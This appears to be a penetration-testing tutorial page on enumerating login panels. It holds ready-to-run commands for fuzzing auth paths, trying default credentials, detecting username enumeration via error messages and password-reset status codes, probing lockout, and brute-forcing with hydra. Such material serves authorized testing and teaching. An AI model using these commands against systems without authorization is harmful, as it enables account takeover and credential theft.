Skip to content
HackIndex logo

HackIndex

Login Page Enumeration

7 min read Jun 21, 2026

Login page enumeration maps all authentication entry points on the target, identifies what mechanism each uses, and assesses whether default credentials or weak authentication controls are in play. Run this after content discovery gives you a full path list. Authentication surfaces found here feed into credential attacks and authentication bypass testing.

Discover Login Panels

Probe common authentication paths alongside content discovery results:

┌──(kali㉿kali)-[~]
└─$ ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://$TARGET_IP:$PORT/FUZZ -mc 200,301,302,401 | grep -iE 'login|admin|auth|signin|portal|console|manage'
Explain command
-w /usr/share/seclists/Discovery/Web-Content/common.txt Specifies the wordlist file to use for fuzzing.
-u http://$TARGET_IP:$PORT/FUZZ Target URL with FUZZ keyword as the injection point.
$TARGET_IP:$PORT Placeholder for the target IP address and port number.
-mc 200,301,302,401 Match only responses with these specific HTTP status codes.
-iE 'login|admin|auth|signin|portal|console|manage' Case-insensitive extended regex filter for auth-related directory names.
┌──(kali㉿kali)-[~]
└─$ for path in /login /admin /admin/login /administrator /auth /signin /portal /console /manage /user/login /wp-admin /phpmyadmin /cpanel /webmail; do code=$(curl -skI http://$TARGET_IP:$PORT$path | grep HTTP | awk '{print $2}'); echo "$code $path"; done
200 /login
302 /admin
200 /administrator
404 /auth
Explain command
-s Silent mode; suppresses progress meter and error messages.
-k Allow insecure SSL connections, skipping certificate verification.
-I Send HEAD request only, fetching headers without response body.
http://$TARGET_IP:$PORT$path Target URL built from IP, port, and iterated path variable.

Identify Authentication Mechanism

Determine what type of authentication is in use — form-based, HTTP Basic, NTLM, or API token — before attempting anything:

┌──(kali㉿kali)-[~]
└─$ curl -skI http://$TARGET_IP:$PORT/admin/ | grep -iE 'www-authenticate|set-cookie|location|content-type'
WWW-Authenticate: Basic realm="Admin Area"
Explain command
-s Silent mode; suppresses progress meter and error messages.
-k Allow insecure SSL/TLS connections, skipping certificate verification.
-I Send a HEAD request and fetch HTTP headers only.
http://$TARGET_IP:$PORT/admin/ Target URL with variable host IP and port to probe the /admin/ path.
-iE Case-insensitive match using extended regular expressions.
'www-authenticate|set-cookie|location|content-type' Filter for auth, cookie, redirect, and content-type response headers.

WWW-Authenticate: Basic means HTTP Basic auth — credentials go in the Authorization header. WWW-Authenticate: NTLM or Negotiate means Windows authentication. A 200 with a form in the body means form-based login. A 302 to a login URL with a session cookie means the app redirects unauthenticated requests.

Test Default Credentials

Before any brute force, manually try common defaults matched to the identified platform:

┌──(kali㉿kali)-[~]
└─$ for cred in admin:admin admin:password admin:123456 admin: root:root root:toor; do echo -n "$cred: "; curl -sk -u $cred http://$TARGET_IP:$PORT/admin/ -o /dev/null -w '%{http_code}'; echo; done
admin:admin: 200
admin:password: 401
Explain command
-s Silent mode; suppresses progress meter and error messages.
-k Allow insecure TLS connections, skipping certificate verification.
-u $cred Supplies HTTP Basic Auth credentials in user:password format.
-o /dev/null Discards response body by writing output to /dev/null.
-w '%{http_code}' Prints the HTTP response status code after the request.
$TARGET_IP:$PORT Placeholder for the target host IP address and port number.
┌──(kali㉿kali)-[~]
└─$ curl -sk -c /tmp/cookies.txt http://$TARGET_IP:$PORT/login -X POST -d 'username=admin&password=admin' -L | grep -i 'welcome\|dashboard\|logout\|invalid\|error'
Explain command
-s Silent mode; suppresses progress meter and error messages.
-k Allow insecure TLS connections; skips certificate verification.
-c /tmp/cookies.txt Save received cookies to the specified cookie jar file.
http://$TARGET_IP:$PORT/login Target URL with variable host and port placeholders.
-X POST Use HTTP POST method for the request.
-d 'username=admin&password=admin' Send specified URL-encoded data as the POST request body.
-L Follow HTTP redirects automatically.
-i Perform case-insensitive pattern matching in grep.
'welcome\|dashboard\|logout\|invalid\|error' Grep pattern to detect login success or failure keywords.

Assess Username Enumeration

Check whether the login form gives different responses for valid versus invalid usernames. Send a request with a likely-valid username and one with a random string:

┌──(kali㉿kali)-[~]
└─$ curl -sk -X POST http://$TARGET_IP:$PORT/login -d 'username=admin&password=wrongpassword' | grep -iE 'invalid|error|incorrect|not found'
Invalid password for user admin
Explain command
-s Silent mode; suppresses progress meter and error messages.
-k Allows insecure SSL/TLS connections, skipping certificate verification.
-X POST Specifies HTTP POST as the request method.
http://$TARGET_IP:$PORT/login Target URL with variable host and port for the login endpoint.
-d 'username=admin&password=wrongpassword' Sends URL-encoded form data as the POST request body.
-iE Case-insensitive search (-i) with extended regex (-E) pattern matching.
'invalid|error|incorrect|not found' Regex pattern matching common authentication failure response strings.
┌──(kali㉿kali)-[~]
└─$ curl -sk -X POST http://$TARGET_IP:$PORT/login -d 'username=randomxyz123&password=wrongpassword' | grep -iE 'invalid|error|incorrect|not found'
Invalid username or password
Explain command
-s Silent mode; suppresses progress meter and error messages.
-k Allows insecure SSL connections by skipping certificate verification.
-X POST Specifies HTTP POST as the request method.
http://$TARGET_IP:$PORT/login Target URL with variable host and port for the login endpoint.
-d 'username=randomxyz123&password=wrongpassword' Sends URL-encoded POST body with bogus credentials.
-iE Case-insensitive search with extended regex pattern matching.
'invalid|error|incorrect|not found' Regex pattern to detect common authentication failure response keywords.

Different error messages between the two requests confirm username enumeration. The first message reveals the account exists while the second is generic — this lets you enumerate valid usernames before password attacks.

Check Lockout Behavior

Send several failed attempts and check whether the account locks or responses change. This determines whether credential spraying is viable:

┌──(kali㉿kali)-[~]
└─$ for i in $(seq 1 6); do echo -n "Attempt $i: "; curl -sk -X POST http://$TARGET_IP:$PORT/login -d 'username=admin&password=wrongpass' -o /dev/null -w '%{http_code}'; echo; sleep 1; done
Attempt 1: 200
Attempt 2: 200
Attempt 3: 200
Attempt 4: 200
Attempt 5: 200
Attempt 6: 429
Explain command
$(seq 1 6) Generates sequence from 1 to 6 for loop iterations.
-sk Silent mode and skip SSL certificate verification.
-X POST Specifies HTTP POST as the request method.
http://$TARGET_IP:$PORT/login Target URL using variable IP and port placeholders.
-d 'username=admin&password=wrongpass' Sends URL-encoded POST body with credentials.
-o /dev/null Discards response body by redirecting to null.
-w '%{http_code}' Prints only the HTTP response status code.
sleep 1 Pauses 1 second between each login attempt.

A 429 or redirect to a CAPTCHA after several attempts means rate limiting is active. No change after many attempts means brute force is viable. A 302 to an account locked page means lockout is enforced — reduce attempts per account or switch to password spraying with a single password across many users.

Credential Spraying with hydra

When lockout behavior is confirmed and spraying is viable, use hydra against form-based login. Identify the correct parameter names from the form source first:

┌──(kali㉿kali)-[~]
└─$ curl -sk http://$TARGET_IP:$PORT/login | grep -iE 'input|form|action' | head -20
Explain command
-s Silent mode; suppresses progress meter and error messages.
-k Allows insecure TLS connections by skipping certificate verification.
http://$TARGET_IP:$PORT/login Target URL using variable host and port to fetch the login page.
-iE Case-insensitive search using extended regular expressions.
'input|form|action' Regex pattern matching HTML form-related tags and attributes.
-20 Limits output to the first 20 matching lines.
┌──(kali㉿kali)-[~]
└─$ hydra -l admin -P /usr/share/wordlists/rockyou.txt $TARGET_IP http-post-form "/login:username=^USER^&password=^PASS^:Invalid password" -t 10
Explain command
-l admin Sets a single username 'admin' for the attack.
-P /usr/share/wordlists/rockyou.txt Specifies the password wordlist file to iterate through.
$TARGET_IP Placeholder for the target host IP address.
http-post-form Specifies the HTTP POST form attack module.
/login:username=^USER^&password=^PASS^:Invalid password Defines login path, POST fields, and failure string to detect.
-t 10 Sets the number of parallel connection threads to 10.

Username Enumeration via Password Reset

When the login form returns a uniform error, the forgot-password and registration endpoints often do not. A reset request for an existing account commonly returns a different status code or body than one for an account that does not exist, for example 201 or 200 with a confirmation versus 404 or a validation error. Probe a known-bad username against a candidate and compare the status codes:

┌──(kali㉿kali)-[~]
└─$ curl -sk -o /dev/null -w 'admin -> %{http_code}\n' -X POST http://$TARGET_IP:$PORT/forgot-password -d 'email=admin@$DOMAIN'
┌──(kali㉿kali)-[~]
└─$ curl -sk -o /dev/null -w 'random -> %{http_code}\n' -X POST http://$TARGET_IP:$PORT/forgot-password -d 'email=doesnotexist@$DOMAIN'
admin -> 201
random -> 404

Different codes confirm the endpoint discloses account existence. Drive a wordlist through it to collect valid accounts, then take them to password spraying. If the status codes match, compare response bodies and response times, since some apps leak existence through a slower path when they actually send mail:

┌──(kali㉿kali)-[~]
└─$ while read u; do code=$(curl -sk -o /dev/null -w '%{http_code}' -X POST http://$TARGET_IP:$PORT/forgot-password -d "email=$u@$DOMAIN"); echo "$code $u"; done < users.txt | grep '^201'

References